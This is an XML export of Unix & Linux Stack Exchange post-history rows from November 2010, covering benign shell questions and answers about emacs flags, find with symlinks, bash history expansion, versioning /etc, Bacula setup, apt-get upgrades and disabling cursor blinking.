  <row Id="8017" PostHistoryTypeId="3" PostId="3742" RevisionGUID="40a98394-a779-4f03-a8eb-c91dfbc4d1e1" CreationDate="2010-11-03T17:26:03.487" UserId="1327" Text="éshellàéemacsà" />
  <row Id="8018" PostHistoryTypeId="5" PostId="3741" RevisionGUID="c957e818-b9ba-4cf4-8d37-6e182e5700e2" CreationDate="2010-11-03T17:27:46.157" UserId="1327" Comment="added 16 characters in body" Text="    . ./filename&#xD;&#xA;    # ( dot space dot slash filename )&#xD;&#xA;Runs the script in the current shell when the directory is not in the path." />
  <row Id="8019" PostHistoryTypeId="2" PostId="3743" RevisionGUID="fd8a8189-24b1-4555-b3c9-a926e8dbcbe4" CreationDate="2010-11-03T17:59:19.563" UserId="138" Text="Say this:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;alias emacs=emacs -nw&quot; &gt;&gt; ~/.bashrc&#xD;&#xA;&#xD;&#xA;Log out, then log back in, and you will get the behavior you are asking for.  The alias applies only to Bash." />
  <row Id="8020" PostHistoryTypeId="2" PostId="3744" RevisionGUID="7cb6f105-13c0-406c-8c39-155ce26deb83" CreationDate="2010-11-03T18:10:20.440" UserId="1571" Text="I have several directories that all have various symlinks in them. I want find (or another program) to find based on where the symlinks point to. For example this is how it currently works:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;└─(11:05:%)── ll slink&#xD;&#xA;lrwxrwxrwx 1 dialout 9 2010-11-03 11:05 slink -&gt; /opt/file&#xD;&#xA;└─(11:05:%)── find / -name 'file'&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is what I'd like to be able to do&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;└─(11:05:%)── find . -name 'file'&#xD;&#xA;/slink -&gt; /opt/file&lt;/pre&gt;&#xD;&#xA;" />
  <row Id="8021" PostHistoryTypeId="1" PostId="3744" RevisionGUID="7cb6f105-13c0-406c-8c39-155ce26deb83" CreationDate="2010-11-03T18:10:20.440" UserId="1571" Text="Using find to find symlinks that point to a certain pattern of files" />
  <row Id="8022" PostHistoryTypeId="3" PostId="3744" RevisionGUID="7cb6f105-13c0-406c-8c39-155ce26deb83" CreationDate="2010-11-03T18:10:20.440" UserId="1571" Text="éfindàésymbolicölinkà" />
  <row Id="8023" PostHistoryTypeId="2" PostId="3745" RevisionGUID="8bbb4a98-87fb-4444-8c05-8050db025252" CreationDate="2010-11-03T18:20:49.607" UserId="305" Text="    find . -L -name 'file'&#xD;&#xA;&#xD;&#xA;-L means follow symbolic links and according to man it takes properties from this file. Alternativly you can write:&#xD;&#xA;&#xD;&#xA;    find . -lname 'file'&#xD;&#xA;&#xD;&#xA;The second option will work with broken links." />
  <row Id="8024" PostHistoryTypeId="2" PostId="3746" RevisionGUID="dc522690-90e5-40d7-89f1-ff9f18e4def9" CreationDate="2010-11-03T19:01:05.693" UserId="885" Text="I think you want to determine if a command is run in a *terminal*.&#xD;&#xA;&#xD;&#xA;    if [ -t 2 ]; then&#xD;&#xA;      # Standard error is a terminal&#xD;&#xA;      emacs -nw &quot;$@&quot;&#xD;&#xA;    elif [ -n &quot;$DISPLAY&quot; ]; then&#xD;&#xA;      # An X display is available&#xD;&#xA;      xterm -e emacs -nw &quot;$@&quot;&#xD;&#xA;    else&#xD;&#xA;      # We have nothing&#xD;&#xA;      emacs --daemon&#xD;&#xA;    fi&#xD;&#xA;" />
  <row Id="8025" PostHistoryTypeId="4" PostId="3742" RevisionGUID="f8da4959-8a38-421f-b733-de7c8596d08b" CreationDate="2010-11-03T19:03:20.170" UserId="1327" Comment="edited title" Text="Forcing emacs to run with `-nw` when called from terminal" />
  <row Id="8026" PostHistoryTypeId="2" PostId="3747" RevisionGUID="40d9de4f-9f49-47a9-a656-d88e85a09b32" CreationDate="2010-11-03T19:41:24.843" UserId="1325" Text="Hi,&#xD;&#xA; &#xD;&#xA; I used &#xD;&#xA;&#xD;&#xA;    history | less&#xD;&#xA;&#xD;&#xA; to get the lines of previous commands and from the numbers on the left hand side I found the line I wanted repeated (eg. 22) and did&#xD;&#xA;&#xD;&#xA;    !22&#xD;&#xA;&#xD;&#xA; at the command prompt and it worked executing the set of commands on the line I did at that time. I cannot figure out where the exclamation mark is used, what does it represent in terms of actions taken by bash, and where to use it. From the documentation I do not see an explanation that is 'tangible'.&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;" />
  <row Id="8027" PostHistoryTypeId="1" PostId="3747" RevisionGUID="40d9de4f-9f49-47a9-a656-d88e85a09b32" CreationDate="2010-11-03T19:41:24.843" UserId="1325" Text="understanding the exclamation mark (!) in bash" />
  <row Id="8028" PostHistoryTypeId="3" PostId="3747" RevisionGUID="40d9de4f-9f49-47a9-a656-d88e85a09b32" CreationDate="2010-11-03T19:41:24.843" UserId="1325" Text="écommandölineàébashàécommandöhistoryà" />
  <row Id="8029" PostHistoryTypeId="2" PostId="3748" RevisionGUID="a00a3e0b-c587-43d4-96c8-05e095a31817" CreationDate="2010-11-03T20:06:04.170" UserId="138" Text="`!` is a feature that originally appeared in the &lt;a href=&quot;http://en.wikipedia.org/wiki/C_shell&quot;&gt;C shell&lt;/a&gt;, back in the days before you could count on terminals to have arrow keys.  It's especially useful if you add the current number to the prompt (`PS1=&quot;\!$ &quot;`) so you can quickly look at your screen to get numbers for past commands.&#xD;&#xA;&#xD;&#xA;Now that you can use arrow keys and things like &lt;kbd&gt;Ctrl-R&lt;/kbd&gt; to search the command history, I don't see much use for the feature.  &#xD;&#xA;&#xD;&#xA;One variant of it you might still find useful is `!!`, which re-executes the previous command.  Personally, I don't find that any faster than just &lt;kbd&gt;Up Arrow&lt;/kbd&gt; &lt;kbd&gt;Enter&lt;/kbd&gt;." />
  <row Id="8030" PostHistoryTypeId="2" PostId="3749" RevisionGUID="2a0ec312-add0-4dcd-b30b-b827c4432dda" CreationDate="2010-11-03T20:12:45.897" UserId="2359" Text="If there isn't a longer answer here there's certainly one on Super User, since I've read one recently.  The man page has a huge section titled **HISTORY EXPANSION** on the matter.&#xD;&#xA;&#xD;&#xA;You can do a whole host more than just run the last command, or command number X.  You can do things like `!cat` to run the last command that started with `cat`.  Or `!!:s/bash/csh/` runs the last command containing `bash` but replaces it with `csh`." />
  <row Id="8031" PostHistoryTypeId="2" PostId="3750" RevisionGUID="0a506c64-fa63-4976-b1c1-358f970925d7" CreationDate="2010-11-03T20:36:26.813" UserId="885" Text="What turnkey solutions exist to put `/etc` under version control, under various unices? Turnkey doesn't necessarily mean part of the base install, but the following features would be nice:&#xD;&#xA;&#xD;&#xA;* hooks into VCS commands to manage metadata (ownership, permissions);&#xD;&#xA;* integration with the package manager (run automatically before and after installations, handle upgrades intelligently);&#xD;&#xA;* treat upstream file versions as a branch;&#xD;&#xA;* a pre-filled ignore list;&#xD;&#xA;* support for several underlying VCS (especially distributed ones).&#xD;&#xA;&#xD;&#xA;I use [etckeeper](http://kitenet.net/~joey/code/etckeeper/) under Debian and derivatives. It has all the above features except that it doesn't keep track of upstream versions. I would like to learn about alternatives, particularly on *BSD. &#xD;&#xA;" />
  <row Id="8032" PostHistoryTypeId="1" PostId="3750" RevisionGUID="0a506c64-fa63-4976-b1c1-358f970925d7" CreationDate="2010-11-03T20:36:26.813" UserId="885" Text="version control for /etc under *BSD" />
  <row Id="8033" PostHistoryTypeId="3" PostId="3750" RevisionGUID="0a506c64-fa63-4976-b1c1-358f970925d7" CreationDate="2010-11-03T20:36:26.813" UserId="885" Text="éconfigurationàéversionöcontrolàéetcà" />
  <row Id="8034" PostHistoryTypeId="2" PostId="3751" RevisionGUID="1c57bc2c-75a7-479c-8bc5-518c1d03e849" CreationDate="2010-11-03T20:44:46.193" UserId="2517" Text="Hey all,&#xD;&#xA;&#xD;&#xA;Okay, so I have a goal, and I'm unsure of the best steps to take to get there.&#xD;&#xA;&#xD;&#xA;**Goal:**&#xD;&#xA;&#xD;&#xA;* Set up a Linux VM in VirtualBox (Host: Windows Server 2008 R2)&#xD;&#xA;* Setup Bacula in a Linux environment&#xD;&#xA;* Get Bacula to backup to a NAS device (preferably a Drobo as it's less expensive for us than other NAS solutions appear to be and we don't have time to build something like FreeNAS / ZFS)&#xD;&#xA;&#xD;&#xA;**Steps taken so far:**&#xD;&#xA;&#xD;&#xA;* Created VirtualBox VM of Ubuntu Server (Maverick) as the guest&#xD;&#xA;* Installed KDE on Ubuntu&#xD;&#xA;* Updated packages, etc.&#xD;&#xA;* Installed Bacula -- no configuration, etc.&#xD;&#xA;&#xD;&#xA;**Steps that need to be taken, to my knowledge:**&#xD;&#xA;&#xD;&#xA;* Install and run Bacula Administration Tool (bat)&#xD;&#xA;* Configure Bacula (either via bat or .conf files) -- backup to USB external HDD (to test backups, schedules, clients, etc.)&#xD;&#xA;* Re-configure Bacula storage daemon to backup to a network-attached Drobo device (i.e. Drobo FS)&#xD;&#xA;&#xD;&#xA;**Questions so far:**&#xD;&#xA;&#xD;&#xA;* I see the following errors in the terminal and the bat tool when it starts -- why?&#xD;&#xA;&#xD;&#xA;Terminal output:&#xD;&#xA;&#xD;&#xA;    Error: &quot;/var/tmp/kdecache-sean&quot; is owned by uid 1000 instead of uid 0.&#xD;&#xA;    (1893) KSharedDataCache::Private::mapSharedMemory: Opening cache &quot;/var/tmp/kdecache-sean/icon-cache.kcache&quot; page size is 4096&#xD;&#xA;    (1893) KSharedDataCache::Private::mapSharedMemory: Attached to cache, determining if it must be initialized&#xD;&#xA;    (1893) KSharedDataCache::Private::mapSharedMemory: Cache fully initialized -- attached to memory mapping&#xD;&#xA;    (1893) KSharedDataCache::Private::mapSharedMemory: 7323648 bytes available out of 10485760&#xD;&#xA;    QInotifyFileSystemWatcherEngine::addPaths: inotify_add_watch failed: No such file or directory&#xD;&#xA;    QFileSystemWatcher: failed to add paths: /home/sean/.config/ibus/bus&#xD;&#xA;    Bus::open: Can not get ibus-daemon's address. &#xD;&#xA;    IBusInputContext::createInputContext: no connection to ibus-daemon &#xD;&#xA;&#xD;&#xA;And on the console I receive: &quot;bat: ABORTING due to ERROR in console/console.cpp:155 Failed to connect to localhost-dir for populateLists&quot;&#xD;&#xA;&#xD;&#xA;**First Troubleshooting Avenues**&#xD;&#xA;&#xD;&#xA;This seems to me like bacula-dir isn't started? No configuration has been done, and I certainly don't pretend to know how to start Bacula properly.&#xD;&#xA;&#xD;&#xA;I've tried consulting the documentation, to no avail for this particular implementation.&#xD;&#xA;&#xD;&#xA;Any help? Thanks!" />
  <row Id="8035" PostHistoryTypeId="1" PostId="3751" RevisionGUID="1c57bc2c-75a7-479c-8bc5-518c1d03e849" CreationDate="2010-11-03T20:44:46.193" UserId="2517" Text="Bacula + bat on Ubuntu Maverick" />
  <row Id="8036" PostHistoryTypeId="3" PostId="3751" RevisionGUID="1c57bc2c-75a7-479c-8bc5-518c1d03e849" CreationDate="2010-11-03T20:44:46.193" UserId="2517" Text="éubuntuàébackupà" />
  <row Id="8037" PostHistoryTypeId="2" PostId="3752" RevisionGUID="bd4b8023-fc76-4c26-80db-551b7ec5e17a" CreationDate="2010-11-03T20:57:15.747" UserId="33" Text="Under Gentoo the tool to manage package-induced changes to /etc (called dispatch-conf) supports rcs to track changes but that isn't really powerful.&#xD;&#xA;&#xD;&#xA;I tend to version my /etc via `git`, especially since by using different branches I can keep my /etc as similar as possible over different distributions as possible while keeping as much stuff in one place as possible (for some areas that obviously fails, apache configuration for example is really different across different distributions). It works like this:&#xD;&#xA;&#xD;&#xA;I have my `master` repo with my default configuration files. Now I come in touch with a new distro so I create a new branch based on my `master` branch based on the distribution's name (in this example debian). Debian keeps some config file in a location different from my `master` so I do a `git mv file new_loc`. And everything is fine. I switch back to `master` and change that file because I added some specific config directive, when I merge `master` into my `debian` branch the moved file is changed, so I can basically just change most things within my `master` branch and just have to merge changes in my &quot;distribution&quot; branches (usually they tend to be more of a mix of distribution and purpose branches, a debian server has some differences to a debian workstation obviously but the features still work).&#xD;&#xA;&#xD;&#xA;So basically I have a &quot;generic configuration&quot; in `master` and (to say it in object-oriented programming terms) inherit those into my branches (who also can inherit from each other).&#xD;&#xA;&#xD;&#xA;Apart from that, `git`'s mechanisms to &quot;cherry-pick&quot; commits (in this case changes to /etc/) has been quite helpful to me at times where I only needed parts of a certain configuration.&#xD;&#xA;&#xD;&#xA;Now to some of your ideas:&#xD;&#xA;&#xD;&#xA; - If I needed more package manager integration I would probably use wrapper scripts for this (at the moment I don't).&#xD;&#xA; - treating upstream versions as a branch would work fine with `git`, it's just another branch that you sometimes merge (partially) into `master`&#xD;&#xA; - The ignore list in git is the file .gitignore in your repo so that is covered.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8038" PostHistoryTypeId="2" PostId="3753" RevisionGUID="da72132c-48b9-4f67-bc17-a17ee81c0ddf" CreationDate="2010-11-03T22:29:31.287" UserId="1144" Text="I think that your first problem is related to bat running at root rather than as your &quot;normal&quot; user account. I'm guessing you started it using&#xD;&#xA;&#xD;&#xA;    sudo bat&#xD;&#xA;&#xD;&#xA;or something similar. That is giving the warning messages that you see but I'm not sure that this is causing things to go badly wrong for you. Nothing in those messages tells me that bacula-dir is not running.&#xD;&#xA;&#xD;&#xA;If you installed bacula using the Ubuntu packaged version then you can find out if the director is running using&#xD;&#xA;&#xD;&#xA;    /etc/init.d/bacula-director status&#xD;&#xA;&#xD;&#xA;If you are just trialling things then I suggest that you start with the *bacula-director-sqlite3* package. That doesn't need a separate database setup so it is much easier to get going. For production use you should use either the postgresql or mysql version.&#xD;&#xA;&#xD;&#xA;Configuring a basic setup of bacula is fairly simple using the files installed by the Debian/Ubuntu packaging. Look in /etc/bacula directory. I'm not sure that bat actually allows configuration.&#xD;&#xA;&#xD;&#xA;Once you have the director configured and started try your bat again (you need to make sure that */etc/bacula/bat.conf* is configured too). If it still doesn't work and you suspect the errors due to it being run via sudo then try copying the bat.conf file into your own account and start bat using&#xD;&#xA;&#xD;&#xA;    bat -c /home/sean/bat.conf&#xD;&#xA;&#xD;&#xA;That should get rid of the permissions errors.&#xD;&#xA;&#xD;&#xA;If you have general configuration problems then the best place to ask for help is on the bacula-users mailing list that can be found via [www.bacula.org][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bacula.org/" />
  <row Id="8039" PostHistoryTypeId="2" PostId="3754" RevisionGUID="f2a0f3c5-5e78-44c3-a921-182a5fe1e51b" CreationDate="2010-11-04T00:00:15.847" UserId="2534" Text="Assuming you have SA access on this machine, you can create a new user account, add the tasks to this accounts cron tasks.  The mail for this user can then be forwarded using a .forward file in this accounts home folder. You may have to set up permisions for this user if the cron tasks require privilaged access.&#xD;&#xA;&#xD;&#xA;Whether this or Stefan's answer suits best really depends on how much hassle you want in setting it up and whether you want error messages to go to the root email or to the people that normally monitor the daily output.&#xD;&#xA;&#xD;&#xA;Good luck" />
  <row Id="8040" PostHistoryTypeId="2" PostId="3755" RevisionGUID="a624e6c4-55ae-4202-86e7-10fa32e148e9" CreationDate="2010-11-04T00:23:38.833" UserId="2534" Text="A NTFS driver will not help in your situation as you will not be mounting the raw file system in linux.  Likewise mounting a windows share using samba will still present you with a link file rather than a shortcut that works.&#xD;&#xA;&#xD;&#xA;Perhaps rather than have the linux machine able to access the windows filesystem, it may be easier to have the linux filesystem accessable from windows by running samba on the linux VM.&#xD;&#xA;&#xD;&#xA;The observation I would make is however, for your friend, what parts of windows would they miss if you gave them a linux only laptop?  If they only do email, web and chat then they will probably not miss windows." />
  <row Id="8041" PostHistoryTypeId="2" PostId="3756" RevisionGUID="cdbc194e-b35c-4015-bf08-971dfa632e64" CreationDate="2010-11-04T00:36:04.600" UserId="29" Text="There's a tool called [etckeeper][1] I've no idea how good it is.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;etckeeper is a collection of tools to let /etc be stored in a git, mercurial, darcs, or bzr repository. It hooks into apt (and other package managers including yum and pacman-g2) to automatically commit changes made to /etc during package upgrades. It tracks file metadata that revison control systems do not normally support, but that is important for /etc, such as the permissions of /etc/shadow. It's quite modular and configurable, while also being simple to use if you understand the basics of working with revision control.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;I also don't know if it can be made to work on *BSD I suspect it could, but that it won't be supported with ports out of the box.&#xD;&#xA;&#xD;&#xA;  [1]: http://kitenet.net/~joey/code/etckeeper/" />
  <row Id="8042" PostHistoryTypeId="2" PostId="3757" RevisionGUID="2125b744-d3a5-43b9-9d92-998853175a85" CreationDate="2010-11-04T00:47:34.443" UserId="1898" Text="If I run&#xD;&#xA;&#xD;&#xA;    ls -lh&#xD;&#xA;&#xD;&#xA;then any given directory is just shown as 4.0K. How can I can make it consider the files the directory refers to as well?" />
  <row Id="8043" PostHistoryTypeId="1" PostId="3757" RevisionGUID="2125b744-d3a5-43b9-9d92-998853175a85" CreationDate="2010-11-04T00:47:34.443" UserId="1898" Text="Find the disk-space usage of a directory and all it's files" />
  <row Id="8044" PostHistoryTypeId="3" PostId="3757" RevisionGUID="2125b744-d3a5-43b9-9d92-998853175a85" CreationDate="2010-11-04T00:47:34.443" UserId="1898" Text="élsà" />
  <row Id="8045" PostHistoryTypeId="2" PostId="3758" RevisionGUID="f126b703-30de-412a-ba07-6dfd0f52b15e" CreationDate="2010-11-04T00:58:39.403" UserId="33" Text="Use `du -h` and all directories and their subdirectories are being aggregated. (The -h makes it human readable as in useful units like MB, GB or KB)" />
  <row Id="8046" PostHistoryTypeId="10" PostId="3757" RevisionGUID="9ae08d14-2fb4-4e31-a5e1-0e342bcb2004" CreationDate="2010-11-04T01:58:12.200" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:1207,&quot;DisplayName&quot;:&quot;Steven D&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="8047" PostHistoryTypeId="5" PostId="3757" RevisionGUID="d4a6b678-1351-4d8a-9fb0-8d21b2dbe423" CreationDate="2010-11-04T01:58:12.340" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to know the size of a directory?](http://unix.stackexchange.com/questions/3019/how-to-know-the-size-of-a-directory)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;If I run&#xD;&#xA;&#xD;&#xA;    ls -lh&#xD;&#xA;&#xD;&#xA;then any given directory is just shown as 4.0K. How can I can make it consider the files the directory refers to as well?" />
  <row Id="8048" PostHistoryTypeId="5" PostId="3742" RevisionGUID="15c1d94e-1c7a-44a8-b9a5-764346d5abcd" CreationDate="2010-11-04T04:53:38.483" UserId="1327" Comment="added 143 characters in body; edited body" Text="**note**: This question might have been asked before ( I think I saw it somewhere), but a quick search did not reveal anything.&#xD;&#xA;&#xD;&#xA;I would like to tell the difference when a command is run from a shell. &#xD;&#xA;&#xD;&#xA;Emacs can be initialized with the `-nw` flag to disable the **gui** window, and I want this to be the default behaviour. However if `emacs` is run from a non-shell environment, ( e.g. from the `Open With` in your **filemanager**, a **desktop configured hotkey**, or even from **bashrun** ), it should not be called with the `-nw` flag.&#xD;&#xA;&#xD;&#xA;**update**: This should be a global change, running `sudo emacs` in Terminal should'nt suddenly open a gui. Where do I make these changes? " />
  <row Id="8049" PostHistoryTypeId="2" PostId="3759" RevisionGUID="d8b775dc-cfdd-4302-aef0-cba37ceb5647" CreationDate="2010-11-04T06:47:43.067" UserId="1327" Text="How to I make the cursor stop `blinking` when in **TTY**? ( or anywhere else ) " />
  <row Id="8050" PostHistoryTypeId="1" PostId="3759" RevisionGUID="d8b775dc-cfdd-4302-aef0-cba37ceb5647" CreationDate="2010-11-04T06:47:43.067" UserId="1327" Text="How to stop cursor from blinking" />
  <row Id="8051" PostHistoryTypeId="3" PostId="3759" RevisionGUID="d8b775dc-cfdd-4302-aef0-cba37ceb5647" CreationDate="2010-11-04T06:47:43.067" UserId="1327" Text="éttyà" />
  <row Id="8052" PostHistoryTypeId="5" PostId="3759" RevisionGUID="84d2a988-4c34-40d2-bd72-2f9ab13468fa" CreationDate="2010-11-04T07:09:37.667" UserId="1327" Comment="added 81 characters in body; added 18 characters in body" Text="How to I make the cursor stop `blinking` when in **TTY**? ( or anywhere else ).  &#xD;&#xA;&#xD;&#xA;**BONUS Points** for one universal setting that stops the cursor blinking almost everywhere. " />
  <row Id="8053" PostHistoryTypeId="2" PostId="3760" RevisionGUID="09b94529-a41e-4d42-be87-0c0cbbec17bb" CreationDate="2010-11-04T09:13:54.430" UserId="33" Text="This gives you a solid yellow block (nonblinking) as a cursor:&#xD;&#xA;&#xD;&#xA;    echo -n -e '\e[?17;14;224c'&#xD;&#xA;&#xD;&#xA;For more info check these references: L[inuxgazette][1] and [EmacsWiki][2] as well as the file /usr/src/linux/Documentation/VGA-softcursor.txt (if present on your system)&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxgazette.net/137/anonymous.html&#xD;&#xA;  [2]: http://www.emacswiki.org/emacs/CursorOnLinuxConsole" />
  <row Id="8054" PostHistoryTypeId="6" PostId="3459" RevisionGUID="85820ab0-2277-4342-a069-73126191501d" CreationDate="2010-11-04T09:27:48.023" UserId="29" Comment="adding awk and sed to tags" Text="écommandölineàéshellàésedàétextöprocessingàéawkà" />
  <row Id="8055" PostHistoryTypeId="5" PostId="3728" RevisionGUID="cb775080-f49a-4c91-9ee8-6cae94eccdac" CreationDate="2010-11-04T09:53:29.090" UserId="29" Comment="clarify question add screenshot tag. I believe screen refers to something else" Text="Is there an equivalent of the Window's Print Screen + Paste (or better yet the Mac OS Cmd+Shift+4, Space) in gnome?" />
  <row Id="8056" PostHistoryTypeId="6" PostId="3728" RevisionGUID="cb775080-f49a-4c91-9ee8-6cae94eccdac" CreationDate="2010-11-04T09:53:29.090" UserId="29" Comment="clarify question add screenshot tag. I believe screen refers to something else" Text="égnomeàéredhatàéscreenshotà" />
  <row Id="8057" PostHistoryTypeId="2" PostId="3761" RevisionGUID="3ba1600c-0c09-4e4d-a7d0-b5ceae43aacc" CreationDate="2010-11-04T11:04:24.890" UserDisplayName="mtk" Text="The Linux Programming Interface is now available...&#xD;&#xA;&#xD;&#xA;http://www.man7.org/tlpi/" />
  <row Id="8058" PostHistoryTypeId="2" PostId="3762" RevisionGUID="32a8007b-933b-4861-9aa4-cbc2a87b09ae" CreationDate="2010-11-04T12:32:30.780" UserId="2091" Text="Put&#xD;&#xA;&#xD;&#xA;&gt;\033[?17;0;127c&#xD;&#xA;&#xD;&#xA;to your PS1 variable and you'll stop blinking constantly. &#xD;&#xA;&#xD;&#xA;E.G:&#xD;&#xA;&#xD;&#xA;&gt;export PS1='\033[?17;0;127c\u:\w\$ '" />
  <row Id="8059" PostHistoryTypeId="2" PostId="3763" RevisionGUID="2a120378-57b0-4256-8f5e-11bea6f83165" CreationDate="2010-11-04T13:30:33.840" UserId="2534" Text="Think about it increasing the knowledge that a hacker needs to have to be able to hack your system successfully without being detected.  In this case, its trivial, and if someone knew enough to gain access to your systems, then they would be able to detect and subvert RPM checks&#xD;&#xA;&#xD;&#xA;These kind of system checks also have a deterent effect that is cumulative. If its easier to hack another system, for the same reward, then some hackers will go elsewhere.&#xD;&#xA;" />
  <row Id="8060" PostHistoryTypeId="2" PostId="3764" RevisionGUID="c7d32c03-1d48-47e6-b638-bf2396e53834" CreationDate="2010-11-04T13:58:40.213" UserId="1325" Text="I friend of mine emailed me this:&#xD;&#xA;&#xD;&#xA;*It's part of GNU history library.  In bash it is used to re-run&#xD;&#xA;commands in your history.  If you want to be hardcore, grep for&#xD;&#xA;history_expansion_char in bash-4.1/lib/readline/histexpand.c for&#xD;&#xA;implementation details.*&#xD;&#xA;&#xD;&#xA;best," />
  <row Id="8061" PostHistoryTypeId="2" PostId="3765" RevisionGUID="42f124dc-7d3f-4e84-83ae-1885e2b7e626" CreationDate="2010-11-04T14:15:09.157" UserId="615" Text="I'm trying to write a script to upgrade a bunch of remote machines and would like to verify that one package in particular is upgraded.&#xD;&#xA;&#xD;&#xA;With `yum`, I could say `yum upgrade specific-package`, and it would complain if it fails to upgrade the package.  With `apt`, as far as I know, I can only say `apt-get upgrade`, and if `apt` fails to find the new version or fails to resolve the dependencies for the new version, it will silently decide not to install it.&#xD;&#xA;&#xD;&#xA;Is there any way to get `apt-get` to complain if it decides to not upgrade a package (short of scripting a call to `dpkg --compare-versions`)?" />
  <row Id="8062" PostHistoryTypeId="1" PostId="3765" RevisionGUID="42f124dc-7d3f-4e84-83ae-1885e2b7e626" CreationDate="2010-11-04T14:15:09.157" UserId="615" Text="apt-get - How to complain on failed upgrade?" />
  <row Id="8063" PostHistoryTypeId="3" PostId="3765" RevisionGUID="42f124dc-7d3f-4e84-83ae-1885e2b7e626" CreationDate="2010-11-04T14:15:09.157" UserId="615" Text="éscriptingàéaptà" />
  <row Id="8064" PostHistoryTypeId="2" PostId="3766" RevisionGUID="fe241c48-c1f4-4915-bc83-5cdf5187f8e0" CreationDate="2010-11-04T14:18:10.360" UserId="2534" Text="Ext4 may be a bad choice of filesystem if you are planning on performing LVM snapshots.  I would advise doing substantial disk performance checking before going live, experiementing with block sizes on both FS and LVM.  My experience was with Ext3, but the other articles I saw at the time implied that Ext4 had simular problems.&#xD;&#xA;&#xD;&#xA;I solved it by using XFS as the filesystem." />
  <row Id="8066" PostHistoryTypeId="2" PostId="3768" RevisionGUID="a08ea5da-5a4a-4047-9d59-b9f8f89e6a26" CreationDate="2010-11-04T18:08:18.047" UserId="1144" Text="You can use *apt-get install* to do what you want. The apt-get manpage says the following:&#xD;&#xA;&#xD;&#xA;&gt; This is also the target to use if you want to upgrade one or more&#xD;&#xA;           already-installed packages without upgrading every package you have&#xD;&#xA;           on your system. Unlike the &quot;upgrade&quot; target, which installs the&#xD;&#xA;           newest version of all currently installed packages, &quot;install&quot; will&#xD;&#xA;           install the newest version of only the package(s) specified. Simply&#xD;&#xA;           provide the name of the package(s) you wish to upgrade, and if a&#xD;&#xA;           newer version is available, it (and its dependencies, as described&#xD;&#xA;           above) will be downloaded and installed.&#xD;&#xA;&#xD;&#xA;If you are wanting to install a known version of a package you can specify that on the commandline too.&#xD;&#xA;&#xD;&#xA;    apt-get install apache2=2.2.14-5ubuntu8.3" />
  <row Id="8068" PostHistoryTypeId="2" PostId="3769" RevisionGUID="8c2dac90-f920-43fb-ba99-fa449bb1126e" CreationDate="2010-11-04T20:04:49.723" UserId="885" Text="There is a [**standard control sequence**](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) to turn off cursor blinking on terminals.&#xD;&#xA;&#xD;&#xA;    printf '\033[?12l'&#xD;&#xA;&#xD;&#xA;However many terminals do not implement this setting, so read on.&#xD;&#xA;&#xD;&#xA;There is a more widely implemented standard terminal setting for switching **cursor visibility** between high visibility, normal visibility and invisibility. Some terminals don't make a difference between normal and high, and there's no guarantee that one or the other will or will not blink. In [terminfo](http://invisible-island.net/ncurses/man/terminfo.5.html), emit the `cvvis`, `cnorm` or `civis` string (e.g. &lt;code&gt;[tput](http://invisible-island.net/ncurses/man/tput.1.html) cvvis&lt;/code&gt;). The corresponding [termcap](http://www.gnu.org/software/termutils/manual/termcap-1.3/html_node/termcap_35.html) entries are `vs`, `ve` and `vi`.&#xD;&#xA;&#xD;&#xA;These setting will not survive a terminal **reset**, so you may find that it doesn't survive the launching of many full-screen applications. You can overcome this difficulty by adding the cursor configuration changing sequence to your terminal's reset string.&#xD;&#xA;&#xD;&#xA;* On a terminfo-based system using ncurses, save your terminal's terminfo settings to a file with `infocmp &gt;&gt;~/etc/terminfo.txt`. Edit the description to change the `rs1` (basic reset) sequence, e.g. replace `rs1=\Ec` by `rs1=\Ec\E[?12l`. With some programs and settings, you may need to change the `rs2` (full reset) as well. Then compile the terminfo description with `tic ~/etc/terminfo.txt` (this writes under the directory `$TERMINFO`, or `~/.terminfo` if unset).&#xD;&#xA;* On a termcap-based system, grab the termcap settings from your termcap database (typically `/etc/termcap`). Change the `is` (basic reset) and `rs` (full reset) sequences to append your settings, e.g. `:is=\Ec\E[?12l:`. Set the `TERMCAP` environment variable to the edited value (beginning and ending with `:`).&#xD;&#xA;&#xD;&#xA;Some terminals and other applications give you more options:&#xD;&#xA;&#xD;&#xA;* The [**xterm**](http://invisible-island.net/xterm/manpage/xterm.html) cursor blinks if the `cursorBlink` resource is set to `true` or the `-bc` option is passed on the command line. The blink rate is customizable through the `cursorOnTime` and `cursorOffTime` resources.&#xD;&#xA;* Some other GUI terminal emulators can blink the cursor; check their configuration dialog box.&#xD;&#xA;* The [**Linux PC (VGA) console**](http://www.kernel.org/doc/Documentation/VGA-softcursor.txt) has a number of cursor settings; their exact meaning and applicability depends on the underlying VGA implementation (Linux framebuffer or video card). If your default cursor blinks, try turning the hardware cursor off and the software cursor on with something like `printf '\033[17;127?c'` (the first parameter 17 gives you the software cursor without a hardware cursor, and the second parameter set to 127 makes it essentially inverse video). See above regarding terminal resets.&#xD;&#xA;* In **Emacs**, `M-x blink-cursor-mode` toggles the cursor's blinking. Put `(blink-cursor-mode 0)` in your `~/.emacs` to turn it off. This is a global setting and does not apply in a text terminal.&#xD;&#xA;&#xD;&#xA;See also [Juri Linkov **(Jurta)'s No Blinking page**](http://www.jurta.org/en/prog/noblink) for how to turn off blinking in Lesstif, Tk, Gtk (Gnome), Qt (KDE), Firefox, and more.&#xD;&#xA;" />
